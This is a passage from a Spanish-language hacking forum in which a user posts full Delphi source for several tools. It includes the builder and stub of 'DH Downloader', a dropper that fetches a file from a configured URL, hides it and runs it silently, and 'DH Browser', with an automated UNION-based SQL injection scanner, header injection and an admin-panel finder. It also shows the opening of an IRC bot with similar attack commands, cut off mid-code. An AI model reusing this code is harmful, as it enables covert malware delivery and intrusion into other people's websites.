      OpenDialog1.Filter := 'ICO|*.ico|';

    end;

    procedure TForm4.sButton2Click(Sender: TObject);
    var
      linea: string;
      aca: THandle;
      code: Array [0 .. 9999 + 1] of Char;
      nose: DWORD;
      marca_uno: string;
      marca_dos: string;
      url: string;
      opcionocultar: string;
      savein: string;
      lineafinal: string;
      stubgenerado: string;
      tipodecarga: string;
      change: DWORD;
      valor: string;

    begin

      url := sEdit1.Text;
      stubgenerado := 'tiny_down.exe';

      if (sRadioButton2.Checked = True) then
      begin
        tipodecarga := '1';
      end
      else
      begin
        tipodecarga := '0';
      end;

      if (sCheckBox1.Checked = True) then
      begin
        opcionocultar := '1';
      end
      else
      begin
        opcionocultar := '0';
      end;

      if (sComboBox1.Items[sComboBox1.ItemIndex] = '') then
      begin
        savein := 'USERPROFILE';
      end
      else
      begin
        savein := sComboBox1.Items[sComboBox1.ItemIndex];
      end;

      lineafinal := '[link]' + url + '[link]' + '[opcion]' + opcionocultar +
        '[opcion]' + '[path]' + savein + '[path]' + '[name]' + sEdit2.Text +
        '[name]' + '[carga]' + tipodecarga + '[carga]';

      marca_uno := '[63686175]' + dhencode(lineafinal, 'encode') + '[63686175]';

      aca := INVALID_HANDLE_VALUE;
      nose := 0;

      DeleteFile(stubgenerado);
      CopyFile(PChar(ExtractFilePath(Application.ExeName)
            + '/' + 'Data/stub_down.exe'), PChar
          (ExtractFilePath(Application.ExeName) + '/' + stubgenerado), True);

      linea := marca_uno;
      StrCopy(code, PChar(linea));
      aca := CreateFile(PChar(stubgenerado), GENERIC_WRITE, FILE_SHARE_READ, nil,
        OPEN_EXISTING, 0, 0);
      if (aca <> INVALID_HANDLE_VALUE) then
      begin
        SetFilePointer(aca, 0, nil, FILE_END);
        WriteFile(aca, code, 9999, nose, nil);
        CloseHandle(aca);
      end;

      //

      if not(sEdit3.Text = '') then
      begin
        try
          begin

            valor := IntToStr(128);

            change := BeginUpdateResourceW
              (PWideChar(wideString(ExtractFilePath(Application.ExeName)
                    + '/' + stubgenerado)), False);
            LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
              PWideChar(wideString(sEdit3.Text)));
            EndUpdateResourceW(change, False);
            sStatusBar1.Panels[0].Text := '[+] Done ';
            sStatusBar1.Update;
          end;
        except
          begin
            sStatusBar1.Panels[0].Text := '[-] Error';
            sStatusBar1.Update;
          end;
        end;
      end
      else
      begin
        sStatusBar1.Panels[0].Text := '[+] Done ';
        sStatusBar1.Update;
      end;

      //

    end;

    procedure TForm4.sButton1Click(Sender: TObject);
    begin

      if OpenDialog1.Execute then
      begin
        Image2.Picture.LoadFromFile(OpenDialog1.FileName);
        sEdit3.Text := OpenDialog1.FileName;
      end;

    end;

    procedure TForm4.sEdit2Click(Sender: TObject);
    begin
      if not(sEdit1.Text = '') then
      begin
        sEdit2.Text := getfilename(sEdit1.Text);
      end;
    end;

    end.

    // The End ?


    El stub

    Código: delphi

    // DH Downloader 0.5
    // (C) Doddy Hackman 2013

    // Stub

    program stub_down;

    // {$APPTYPE CONSOLE}

    uses
      SysUtils, Windows, URLMon, ShellApi;


    // Functions

    function regex(text: String; deaca: String; hastaaca: String): String;
    begin
      Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
      SetLength(text, AnsiPos(hastaaca, text) - 1);
      Result := text;
    end;

    function dhencode(texto, opcion: string): string;
    // Thanks to Taqyon
    // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
    var
      num: integer;
      aca: string;
      cantidad: integer;

    begin

      num := 0;
      Result := '';
      aca := '';
      cantidad := 0;

      if (opcion = 'encode') then
      begin
        cantidad := Length(texto);
        for num := 1 to cantidad do
        begin
          aca := IntToHex(ord(texto[num]), 2);
          Result := Result + aca;
        end;
      end;

      if (opcion = 'decode') then
      begin
        cantidad := Length(texto);
        for num := 1 to cantidad div 2 do
        begin
          aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
          Result := Result + aca;
        end;
      end;

    end;

    //

    var
      ob: THandle;
      code: Array [0 .. 9999 + 1] of Char;
      nose: DWORD;
      link: string;
      todo: string;
      opcion: string;
      path: string;
      nombre: string;
      rutafinal: string;
      tipodecarga: string;

    begin

      try

        ob := INVALID_HANDLE_VALUE;
        code := '';

        ob := CreateFile(pchar(paramstr(0)), GENERIC_READ, FILE_SHARE_READ, nil,
          OPEN_EXISTING, 0, 0);
        if (ob <> INVALID_HANDLE_VALUE) then
        begin
          SetFilePointer(ob, -9999, nil, FILE_END);
          ReadFile(ob, code, 9999, nose, nil);
          CloseHandle(ob);
        end;

        todo := regex(code, '[63686175]', '[63686175]');
        todo := dhencode(todo, 'decode');

        link := regex(todo, '[link]', '[link]');
        opcion := regex(todo, '[opcion]', '[opcion]');
        path := regex(todo, '[path]', '[path]');
        nombre := regex(todo, '[name]', '[name]');
        tipodecarga := regex(todo, '[carga]', '[carga]');

        rutafinal := GetEnvironmentVariable(path) + '/' + nombre;

        try

          begin
            UrlDownloadToFile(nil, pchar(link), pchar(rutafinal), 0, nil);

            if (FileExists(rutafinal)) then
            begin

              if (opcion = '1') then
              begin
                SetFileAttributes(pchar(rutafinal), FILE_ATTRIBUTE_HIDDEN);
              end;

              if (tipodecarga = '1') then
              begin
                ShellExecute(0, 'open', pchar(rutafinal), nil, nil, SW_HIDE);
              end
              else
              begin
                ShellExecute(0, 'open', pchar(rutafinal), nil, nil, SW_SHOWNORMAL);
              end;
            end;

          end;
        except
          //
        end;

      except
        //
      end;

    end.

    // The End ?


    Si lo quieren bajar lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#157
Delphi / [Delphi] DH Browser 0.2
Noviembre 15, 2013, 11:02:27 AM
Un simple browser que hice en Delphi con las siguientes opciones :

  • Podes ver el codigo HTML de la pagina cargada
  • Se puede buscar palabras en el codigo HTML
  • Poder modificar los headers para HTTP header injection
  • Trae un SQLI Scanner para buscar vulnerabilidades SQLI
  • Trae un PanelFinder para buscar el panel del admin

    Unas imagenes :





    El codigo :

    Carga

    Código: delphi

    // DH Browser 0.2
    // (C) Doddy Hackman 2013

    unit dhbrowse;

    interface

    uses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, StdCtrls, acPNG, ExtCtrls, ComCtrls, acProgressBar, sGroupBox,
      sSkinManager;

    type
      TForm1 = class(TForm)
        sGroupBox1: TsGroupBox;
        sProgressBar1: TsProgressBar;
        Timer1: TTimer;
        Image1: TImage;

        sSkinManager1: TsSkinManager;
        procedure Button1Click(Sender: TObject);
        procedure Timer1Timer(Sender: TObject);
        procedure FormCreate(Sender: TObject);
      private
        { Private declarations }
      public
        { Public declarations }
      end;

    var
      Form1: TForm1;

    implementation

    uses programa;
    {$R *.dfm}

    procedure TForm1.Button1Click(Sender: TObject);
    begin
      Form2.Show;
    end;

    procedure TForm1.FormCreate(Sender: TObject);
    begin
      sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
      sSkinManager1.SkinName := 'tv-b';
      sSkinManager1.Active := True;
    end;

    procedure TForm1.Timer1Timer(Sender: TObject);
    var
      i: integer;
      total: integer;

    begin

      total := 0;
      sProgressBar1.Min := 0;
      sProgressBar1.Max := 100;

      For i := 1 to 100 do
      begin

        Form1.Update;

        Sleep(1000);
        // Sleep(1);

        total := total + 10;

        sProgressBar1.Position := total;

        if (sProgressBar1.Position = 100) then
        begin
          Timer1.Enabled := False;
          Form1.Hide;
          Form2.Show;
          Abort;
        end;
      end;

    end;

    end.

    // The End ?


    Navegador

    Código: delphi

    // DH Browser 0.2
    // (C) Doddy Hackman 2013
    // Credits :
    // Navigate based on : http://www.swissdelphicenter.ch/torry/showcode.php?id=2242
    // FindText based on : http://delphi.cjcsoft.net/viewthread.php?tid=47143
    // Get HTML based on : http://delphi.about.com/od/adptips2005/qt/webbrowserhtml.htm

    unit programa;

    interface

    uses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, sSkinManager, StdCtrls, sButton, sEdit, OleCtrls, SHDocVw, sMemo,
      sListBox, sGroupBox, sLabel, sCheckBox, ComCtrls, sStatusBar, acPNG,
      ExtCtrls, mshtml, Menus, PerlRegEx, IdBaseComponent, IdComponent,
      IdTCPConnection, IdTCPClient, IdHTTP, acProgressBar;

    type
      TForm2 = class(TForm)
        sSkinManager1: TsSkinManager;
        sGroupBox1: TsGroupBox;
        sEdit1: TsEdit;
        sButton1: TsButton;
        sGroupBox2: TsGroupBox;
        sMemo1: TsMemo;
        sCheckBox1: TsCheckBox;
        sGroupBox3: TsGroupBox;
        sStatusBar1: TsStatusBar;
        WebBrowser1: TWebBrowser;
        sGroupBox4: TsGroupBox;
        sButton2: TsButton;
        sButton3: TsButton;
        sGroupBox5: TsGroupBox;
        sButton4: TsButton;
        sLabel1: TsLabel;
        Image1: TImage;
        sMemo2: TsMemo;
        PopupMenu1: TPopupMenu;
        S1: TMenuItem;
        S2: TMenuItem;
        IdHTTP1: TIdHTTP;
        PerlRegEx1: TPerlRegEx;
        FindDialog1: TFindDialog;
        sProgressBar1: TsProgressBar;
        procedure sButton1Click(Sender: TObject);
        procedure S1Click(Sender: TObject);
        procedure S2Click(Sender: TObject);
        procedure sButton3Click(Sender: TObject);
        procedure sButton2Click(Sender: TObject);
        procedure sButton4Click(Sender: TObject);
        procedure FindDialog1Find(Sender: TObject);
        procedure FormClose(Sender: TObject; var Action: TCloseAction);
        procedure WebBrowser1ProgressChange(ASender: TObject;
          Progress, ProgressMax: Integer);
        procedure WebBrowser1DownloadComplete(Sender: TObject);
        procedure FormCreate(Sender: TObject);
      private
        { Private declarations }
      public
        { Public declarations }
      end;

    var
      Form2: TForm2;

    implementation

    {$R *.dfm}

    procedure TForm2.FindDialog1Find(Sender: TObject);

    // FindText based on : http://delphi.cjcsoft.net/viewthread.php?tid=47143

    var
      aca: PChar;
      aca2: PChar;
      acatoy: PChar;
      acatoy2: Word;

    begin

      With Sender as TFindDialog do

      begin

        GetMem(aca2, Length(FindText) + 1);
        StrPCopy(aca2, FindText);

        acatoy2 := sMemo2.GetTextLen + 1;
        GetMem(aca, acatoy2);

        sMemo2.GetTextBuf(aca, acatoy2);

        acatoy := aca + sMemo2.SelStart + sMemo2.SelLength;
        acatoy := StrPos(acatoy, aca2);

        if not(acatoy = NIL) then
        begin
          sMemo2.SelStart := acatoy - aca;
          sMemo2.SelLength := Length(FindText);
        end;

        sMemo2.SetFocus;

      end;

    end;

    procedure TForm2.FormClose(Sender: TObject; var Action: TCloseAction);
    begin
      Application.Terminate;
    end;

    procedure TForm2.FormCreate(Sender: TObject);
    begin
      sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
      sSkinManager1.SkinName := 'tv-b';
      sSkinManager1.Active := True;
    end;

    procedure TForm2.S1Click(Sender: TObject);
    begin
      WebBrowser1.Visible := false;
      sMemo2.Visible := True;
    end;

    procedure TForm2.S2Click(Sender: TObject);
    begin
      WebBrowser1.Visible := True;
      sMemo2.Visible := false;
    end;

    procedure TForm2.sButton1Click(Sender: TObject);

    // Navigate based on : http://www.swissdelphicenter.ch/torry/showcode.php?id=2242

    var

      cabeceras: OLEVariant;
      uno: OLEVariant;
      dos: OLEVariant;
      tres: OLEVariant;

    begin

      uno := navNoReadFromCache or navNoWriteToCache;
      dos := '';
      tres := '';

      if (sCheckBox1.Checked) then
      begin
        cabeceras := sMemo1.Text;
        WebBrowser1.Navigate(sEdit1.Text, uno, dos, tres, cabeceras);
      end
      else
      begin
        cabeceras := '';
        WebBrowser1.Navigate(sEdit1.Text, uno, dos, tres, cabeceras);
      end;
    end;

    procedure TForm2.sButton2Click(Sender: TObject);
    var
      pass1: string;
      pass2: string;
      code: string;
      urltest: string;
      urlgen: string;
      full: string;
      codedos: string;
      i: Integer;

    begin

      sStatusBar1.Panels[0].Text := '[+] SQLI Scanning ...';
      Form2.sStatusBar1.Update;

      pass1 := '+';
      pass2 := '--';

      urltest := 'concat(0x4b30425241,1,0x4b30425241)';

      sStatusBar1.Panels[0].Text := '[+] Checking ...';
      Form2.sStatusBar1.Update;

      code := IdHTTP1.Get
        (sEdit1.Text + '1' + pass1 + 'and' + pass1 + '1=1' + pass2);

      codedos := IdHTTP1.Get
        (sEdit1.Text + '1' + pass1 + 'and' + pass1 + '1=0' + pass2);

      if not(code = codedos) then
      begin

        sStatusBar1.Panels[0].Text := '[+] Finding columns number';
        Form2.sStatusBar1.Update;

        urltest := '1' + pass1 + 'and' + pass1 + '1=0' + pass1 + 'union' + pass1 +
          'select' + pass1 + 'concat(0x4b30425241,1,0x4b30425241)';
        urlgen := '1';
        for i := 2 to 36 do
        begin
          sStatusBar1.Panels[0].Text := '[+] Columns Length : ' + IntToStr(i);
          Form2.sStatusBar1.Update;
          urltest := urltest + ',concat(0x4b30425241,' + IntToStr(i)
            + ',0x4b30425241)';
          urlgen := urlgen + ',' + IntToStr(i);
          code := IdHTTP1.Get(sEdit1.Text + urltest + pass2);
          PerlRegEx1.Regex := 'K0BRA(.*?)K0BRA';
          PerlRegEx1.Subject := code;

          if PerlRegEx1.Match then
          begin

            urlgen := StringReplace(urlgen, PerlRegEx1.SubExpressions[1],
              'hackman', []);
            full := sEdit1.Text + '1' + pass1 + 'and' + pass1 + '1=0' + pass1 +
              'union' + pass1 + 'select' + pass1 + urlgen;

            sEdit1.Text := full;
            Abort;

          end;
        end;
      end;

      sStatusBar1.Panels[0].Text := '[+] Done';
      Form2.sStatusBar1.Update;

    end;

    procedure TForm2.sButton3Click(Sender: TObject);
    const
      paginas: array [1 .. 250] of string = ('admin/admin.asp', 'admin/login.asp',
        'admin/index.asp', 'admin/admin.aspx', 'admin/login.aspx',
        'admin/index.aspx', 'admin/webmaster.asp', 'admin/webmaster.aspx',
        'asp/admin/index.asp', 'asp/admin/index.aspx', 'asp/admin/admin.asp',
        'asp/admin/admin.aspx', 'asp/admin/webmaster.asp',
        'asp/admin/webmaster.aspx', 'admin/', 'login.asp', 'login.aspx',
        'admin.asp', 'admin.aspx', 'webmaster.aspx', 'webmaster.asp',
        'login/index.asp', 'login/index.aspx', 'login/login.asp',
        'login/login.aspx', 'login/admin.asp', 'login/admin.aspx',
        'administracion/index.asp', 'administracion/index.aspx',
        'administracion/login.asp', 'administracion/login.aspx',
        'administracion/webmaster.asp', 'administracion/webmaster.aspx',
        'administracion/admin.asp', 'administracion/admin.aspx', 'php/admin/',
        'admin/admin.php', 'admin/index.php', 'admin/login.php',
        'admin/system.php', 'admin/ingresar.php', 'admin/administrador.php',
        'admin/default.php', 'administracion/', 'administracion/index.php',
        'administracion/login.php', 'administracion/ingresar.php',
        'administracion/admin.php', 'administration/', 'administration/index.php',
        'administration/login.php', 'administrator/index.php',
        'administrator/login.php', 'administrator/system.php', 'system/',
        'system/login.php', 'admin.php', 'login.php', 'administrador.php',
        'administration.php', 'administrator.php', 'admin1.html', 'admin1.php',
        'admin2.php', 'admin2.html', 'yonetim.php', 'yonetim.html', 'yonetici.php',
        'yonetici.html', 'adm/', 'admin/account.php', 'admin/account.html',
        'admin/index.html', 'admin/login.html', 'admin/home.php',
        'admin/controlpanel.html', 'admin/controlpanel.php', 'admin.html',
        'admin/cp.php', 'admin/cp.html', 'cp.php', 'cp.html', 'administrator/',
        'administrator/index.html', 'administrator/login.html',
        'administrator/account.html', 'administrator/account.php',
        'administrator.html', 'login.html', 'modelsearch/login.php',
        'moderator.php', 'moderator.html', 'moderator/login.php',
        'moderator/login.html', 'moderator/admin.php', 'moderator/admin.html',
        'moderator/', 'account.php', 'account.html', 'controlpanel/',
        'controlpanel.php', 'controlpanel.html', 'admincontrol.php',
        'admincontrol.html', 'adminpanel.php', 'adminpanel.html', 'admin1.asp',
        'admin2.asp', 'yonetim.asp', 'yonetici.asp', 'admin/account.asp',
        'admin/home.asp', 'admin/controlpanel.asp', 'admin/cp.asp', 'cp.asp',
        'administrator/index.asp', 'administrator/login.asp',
        'administrator/account.asp', 'administrator.asp', 'modelsearch/login.asp',
        'moderator.asp', 'moderator/login.asp', 'moderator/admin.asp',
        'account.asp', 'controlpanel.asp', 'admincontrol.asp', 'adminpanel.asp',
        'fileadmin/', 'fileadmin.php', 'fileadmin.asp', 'fileadmin.html',
        'administration.html', 'sysadmin.php', 'sysadmin.html', 'phpmyadmin/',
        'myadmin/', 'sysadmin.asp', 'sysadmin/', 'ur-admin.asp', 'ur-admin.php',
        'ur-admin.html', 'ur-admin/', 'Server.php', 'Server.html', 'Server.asp',
        'Server/', 'wpadmin/', 'administr8.php', 'administr8.html', 'administr8/',
        'administr8.asp', 'webadmin/', 'webadmin.php', 'webadmin.asp',
        'webadmin.html', 'administratie/', 'admins/', 'admins.php', 'admins.asp',
        'admins.html', 'administrivia/', 'Database_Administration/', 'WebAdmin/',
        'useradmin/', 'sysadmins/', 'admin1/', 'systemadministration/',
        'administrators/', 'pgadmin/', 'directadmin/', 'staradmin/',
        'ServerAdministrator/', 'SysAdmin/', 'administer/', 'LiveUser_Admin/',
        'sysadmin/', 'typo3/', 'panel/', 'cpanel/', 'cPanel/', 'cpanel_file/',
        'platz_login/', 'rcLogin/', 'blogindex/', 'formslogin/', 'autologin/',
        'support_login/', 'meta_login/', 'manuallogin/', 'simpleLogin/',
        'loginflat/', 'utility_login/', 'showlogin/', 'memlogin/', 'members/',
        'login-redirect/', 'sublogin/', 'wplogin/', 'login1/', 'dirlogin/',
        'login_db/', 'xlogin/', 'smblogin/', 'customer_login/', 'UserLogin/',
        'loginus/', 'acct_login/', 'admin_area/', 'bigadmin/', 'project-admins/',
        'phppgadmin/', 'pureadmin/', 'sqladmin/', 'radmind/', 'openvpnadmin/',
        'wizmysqladmin/', 'vadmind/', 'ezsqliteadmin/', 'hpwebjetadmin/',
        'newsadmin/', 'adminpro/', 'Lotus_Domino_Admin/', 'bbadmin/',
        'vmailadmin/', 'Indy_admin/', 'ccp14admin/', 'irc-macadmin/',
        'banneradmin/', 'sshadmin/', 'phpldapadmin/', 'macadmin/',
        'administratoraccounts/', 'admin4_account/', 'admin4_colon/', 'radmind1/',
        'SuperAdmin/', 'AdminTools/', 'cmsadmin/', 'SysAdmin2/', 'globes_admin/',
        'cadmins/', 'phpSQLiteAdmin/', 'navSiteAdmin/', 'server_admin_small/',
        'logo_sysadmin/', 'server/', 'database_administration/', 'power_user/',
        'system_administration/', 'ss_vms_admin_sm/');
    var
      IdHTTP: TIdHTTP;
      i: Integer;
      control: Integer;
    begin

      control := 0;

      sStatusBar1.Panels[0].Text := '[+] Finding Panel ....';
      Form2.sStatusBar1.Update;

      IdHTTP := TIdHTTP.Create(nil);

      for i := Low(paginas) to High(paginas) do

        if (control = 1) then
        begin
          Abort;
        end
        else
        begin

          try

            sStatusBar1.Panels[0].Text := '[+] Testing : ' + paginas[i];
            Form2.sStatusBar1.Update;

            IdHTTP.Get(sEdit1.Text + '/' + paginas[i]);
            if IdHTTP.ResponseCode = 200 then
            begin

              sStatusBar1.Panels[0].Text := '[+] Done';
              Form2.sStatusBar1.Update;
              sEdit1.Text := sEdit1.Text + '/' + paginas[i];
              control := 1;
            end;
          except
            on E: EIdHttpProtocolException do
              ;
            on E: Exception do
              ;
          end;

        end;

      sStatusBar1.Panels[0].Text := '[+] Done';
      Form2.sStatusBar1.Update;

    end;

    procedure TForm2.sButton4Click(Sender: TObject);
    begin
      FindDialog1.Execute;
    end;

    procedure TForm2.WebBrowser1DownloadComplete(Sender: TObject);
    var
      buscador: IHTMLElement;
    begin

      sProgressBar1.Position := 0;

      // Get HTML based on : http://delphi.about.com/od/adptips2005/qt/webbrowserhtml.htm

      begin

        try
          begin

            sMemo2.Clear;

            buscador := (WebBrowser1.Document AS IHTMLDocument2).body;

            while not(buscador.parentElement = nil) do
            begin
              buscador := buscador.parentElement;
            end;
            sMemo2.Lines.Add(buscador.outerHTML);
          end;
        except
          // ??
        end;
      end;
    end;

    procedure TForm2.WebBrowser1ProgressChange(ASender: TObject;
      Progress, ProgressMax: Integer);
    begin
      sProgressBar1.Max := ProgressMax;
      sProgressBar1.Position := Progress;
    end;

    end.

    // The End ?



    Si lo quieren bajar lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.

#158
Delphi / [Delphi] ClapTrap IRC Bot 0.5
Noviembre 11, 2013, 01:13:28 PM
Acabo de terminar mi nuevo programa en Delphi "ClapTrap IRC Bot" , como su nombre dice es solo un bot para IRC con las siguientes opciones :

  • Busca panel de administracion
  • Localiza IP y sus DNS
  • Crackea hashes MD5
  • Y scannea SQLI

    Unas imagenes :





    Menu de carga

    Código: delphi

    // ClapTrap IRC Bot 0.5
    // (C) Doddy Hackman 2013

    unit clap;

    interface

    uses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, acPNG, ExtCtrls, sSkinManager, ComCtrls, acProgressBar, StdCtrls,
      sGroupBox, sButton, sLabel;

    type
      TForm1 = class(TForm)
        sSkinManager1: TsSkinManager;
        Image1: TImage;
        sGroupBox1: TsGroupBox;
        sProgressBar1: TsProgressBar;
        Timer1: TTimer;
        procedure FormCreate(Sender: TObject);
        procedure Timer1Timer(Sender: TObject);
      private
        { Private declarations }
      public
        { Public declarations }
      end;

    var
      Form1: TForm1;

    implementation

    uses menu;
    {$R *.dfm}

    procedure TForm1.FormCreate(Sender: TObject);

    begin

      sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
      sSkinManager1.SkinName := 'cappuccino';
      sSkinManager1.Active := True;

    end;

    procedure TForm1.Timer1Timer(Sender: TObject);
    var
      i: integer;
      total: integer;

    begin

      total := 0;
      sProgressBar1.Min := 0;
      sProgressBar1.Max := 100;

      For i := 1 to 100 do
      begin

        Form1.Update;

        Sleep(1000);

        total := total + 10;

        sProgressBar1.Position := total;

        if (sProgressBar1.Position = 100) then
        begin
          Timer1.Enabled := False;
          Form1.Hide;
          Form2.Show;
          Abort;
        end;
      end;

    end;

    end.

    // The End ?


    Menu

    Código: delphi

    // ClapTrap IRC Bot 0.5
    // (C) Doddy Hackman 2013

    unit menu;

    interface

    uses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, sSkinManager, StdCtrls, sButton, sEdit, sLabel, sGroupBox, ComCtrls,
      sStatusBar, acPNG, ExtCtrls, GIFImg, sMemo, IdContext, IdBaseComponent,
      IdComponent, IdTCPConnection, IdTCPClient, IdCmdTCPClient, IdIRC, PerlRegEx,
      IdMultipartFormData, IdHTTP;

    type
      TForm2 = class(TForm)
        sSkinManager1: TsSkinManager;
        sGroupBox1: TsGroupBox;
        sLabel1: TsLabel;
        sLabel2: TsLabel;
        sLabel3: TsLabel;
        sLabel4: TsLabel;
        sEdit1: TsEdit;
        sEdit2: TsEdit;
        sEdit3: TsEdit;
        sEdit4: TsEdit;
        sButton1: TsButton;
        sButton2: TsButton;
        sStatusBar1: TsStatusBar;
        Image1: TImage;
        sGroupBox2: TsGroupBox;
        sMemo1: TsMemo;
        Image2: TImage;
        PerlRegEx1: TPerlRegEx;
        IdIRC1: TIdIRC;
        PerlRegEx2: TPerlRegEx;
        IdHTTP1: TIdHTTP;
        procedure sButton1Click(Sender: TObject);
        procedure sButton2Click(Sender: TObject);
        procedure IdIRC1PrivateMessage(ASender: TIdContext; const ANicknameFrom,
          AHost, ANicknameTo, AMessage: string);

        procedure FormCreate(Sender: TObject);

        procedure FormClose(Sender: TObject; var Action: TCloseAction);
      private
        { Private declarations }
      public
        { Public declarations }
      end;

    var
      Form2: TForm2;

    implementation

    {$R *.dfm}

    procedure TForm2.FormClose(Sender: TObject; var Action: TCloseAction);
    begin
      Application.Terminate;
    end;

    procedure TForm2.FormCreate(Sender: TObject);
    begin
      sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
      sSkinManager1.SkinName := 'cappuccino';
      sSkinManager1.Active := True;
    end;

    procedure TForm2.IdIRC1PrivateMessage(ASender: TIdContext; const ANicknameFrom,
      AHost, ANicknameTo, AMessage: string);

    var
      rta: string;
      z: integer;
      par: TIdMultiPartFormDataStream;
      target: string;

    var
      IdHTTP: TIdHTTP;
      i: integer;

    var
      url: string;
      urldos: string;
      code: string;
      codedos: string;
      pass1: string;
      pass2: string;
      urltest: string;
      urlgen: string;

    var
      hextest: string;
      web1: string;
      web2: string;
      web3: string;
      full: string;

    const
      paginas: array [1 .. 250] of string = ('admin/admin.asp', 'admin/login.asp',
        'admin/index.asp', 'admin/admin.aspx', 'admin/login.aspx',
        'admin/index.aspx', 'admin/webmaster.asp', 'admin/webmaster.aspx',
        'asp/admin/index.asp', 'asp/admin/index.aspx', 'asp/admin/admin.asp',
        'asp/admin/admin.aspx', 'asp/admin/webmaster.asp',
        'asp/admin/webmaster.aspx', 'admin/', 'login.asp', 'login.aspx',
        'admin.asp', 'admin.aspx', 'webmaster.aspx', 'webmaster.asp',
        'login/index.asp', 'login/index.aspx', 'login/login.asp',
        'login/login.aspx', 'login/admin.asp', 'login/admin.aspx',
        'administracion/index.asp', 'administracion/index.aspx',
        'administracion/login.asp', 'administracion/login.aspx',
        'administracion/webmaster.asp', 'administracion/webmaster.aspx',
        'administracion/admin.asp', 'administracion/admin.aspx', 'php/admin/',
        'admin/admin.php', 'admin/index.php', 'admin/login.php',
        'admin/system.php', 'admin/ingresar.php', 'admin/administrador.php',
        'admin/default.php', 'administracion/', 'administracion/index.php',
        'administracion/login.php', 'administracion/ingresar.php',
        'administracion/admin.php', 'administration/', 'administration/index.php',
        'administration/login.php', 'administrator/index.php',
        'administrator/login.php', 'administrator/system.php', 'system/',
        'system/login.php', 'admin.php', 'login.php', 'administrador.php',
        'administration.php', 'administrator.php', 'admin1.html', 'admin1.php',
        'admin2.php', 'admin2.html', 'yonetim.php', 'yonetim.html', 'yonetici.php',
        'yonetici.html', 'adm/', 'admin/account.php', 'admin/account.html',
        'admin/index.html', 'admin/login.html', 'admin/home.php',
        'admin/controlpanel.html', 'admin/controlpanel.php', 'admin.html',
        'admin/cp.php', 'admin/cp.html', 'cp.php', 'cp.html', 'administrator/',
        'administrator/index.html', 'administrator/login.html',
        'administrator/account.html', 'administrator/account.php',
        'administrator.html', 'login.html', 'modelsearch/login.php',
        'moderator.php', 'moderator.html', 'moderator/login.php',
        'moderator/login.html', 'moderator/admin.php', 'moderator/admin.html',
        'moderator/', 'account.php', 'account.html', 'controlpanel/',
        'controlpanel.php', 'controlpanel.html', 'admincontrol.php',
        'admincontrol.html', 'adminpanel.php', 'adminpanel.html', 'admin1.asp',
        'admin2.asp', 'yonetim.asp', 'yonetici.asp', 'admin/account.asp',
        'admin/home.asp', 'admin/controlpanel.asp', 'admin/cp.asp', 'cp.asp',
        'administrator/index.asp', 'administrator/login.asp',
        'administrator/account.asp', 'administrator.asp', 'modelsearch/login.asp',
        'moderator.asp', 'moderator/login.asp', 'moderator/admin.asp',
        'account.asp', 'controlpanel.asp', 'admincontrol.asp', 'adminpanel.asp',
        'fileadmin/', 'fileadmin.php', 'fileadmin.asp', 'fileadmin.html',
        'administration.html', 'sysadmin.php', 'sysadmin.html', 'phpmyadmin/',
        'myadmin/', 'sysadmin.asp', 'sysadmin/', 'ur-admin.asp', 'ur-admin.php',
        'ur-admin.html', 'ur-admin/', 'Server.php', 'Server.html', 'Server.asp',
        'Server/', 'wpadmin/', 'administr8.php', 'administr8.html', 'administr8/',
        'administr8.asp', 'webadmin/', 'webadmin.php', 'webadmin.asp',
        'webadmin.html', 'administratie/', 'admins/', 'admins.php', 'admins.asp',
        'admins.html', 'administrivia/', 'Database_Administration/', 'WebAdmin/',
        'useradmin/', 'sysadmins/', 'admin1/', 'systemadministration/',
        'administrators/', 'pgadmin/', 'directadmin/', 'staradmin/',
        'ServerAdministrator/', 'SysAdmin/', 'administer/', 'LiveUser_Admin/',
        'sysadmin/', 'typo3/', 'panel/', 'cpanel/', 'cPanel/', 'cpanel_file/',
        'platz_login/', 'rcLogin/', 'blogindex/', 'formslogin/', 'autologin/',
        'support_login/', 'meta_login/', 'manuallogin/', 'simpleLogin/',
        'loginflat/', 'utility_login/', 'showlogin/', 'memlogin/', 'members/',
        'login-redirect/', 'sublogin/', 'wplogin/', 'login1/', 'dirlogin/',
        'login_db/', 'xlogin/', 'smblogin/', 'customer_login/', 'UserLogin/',
        'loginus/', 'acct_login/', 'admin_area/', 'bigadmin/', 'project-admins/',
        'phppgadmin/', 'pureadmin/', 'sqladmin/', 'radmind/', 'openvpnadmin/',
        'wizmysqladmin/', 'vadmind/', 'ezsqliteadmin/', 'hpwebjetadmin/',
        'newsadmin/', 'adminpro/', 'Lotus_Domino_Admin/', 'bbadmin/',
        'vmailadmin/', 'Indy_admin/', 'ccp14admin/', 'irc-macadmin/',
        'banneradmin/', 'sshadmin/', 'phpldapadmin/', 'macadmin/',
        'administratoraccounts/', 'admin4_account/', 'admin4_colon/', 'radmind1/',
        'SuperAdmin/', 'AdminTools/', 'cmsadmin/', 'SysAdmin2/', 'globes_admin/',
        'cadmins/', 'phpSQLiteAdmin/', 'navSiteAdmin/', 'server_admin_small/',
        'logo_sysadmin/', 'server/', 'database_administration/', 'power_user/',
        'system_administration/', 'ss_vms_admin_sm/');

    begin
      if ANicknameFrom = sEdit4.Text then
      begin

        // Help

        PerlRegEx1.Regex := '!help';
        PerlRegEx1.Subject := AMessage;

        if PerlRegEx1.Match then
        begin
          IdIRC1.Say(ANicknameFrom, 'Hi , I am ClapTrap and my commands are :');
          IdIRC1.Say(ANicknameFrom, '!locateip <target>');
          IdIRC1.Say(ANicknameFrom, '!panel <target>');
          IdIRC1.Say(ANicknameFrom, '!sqli <target>');
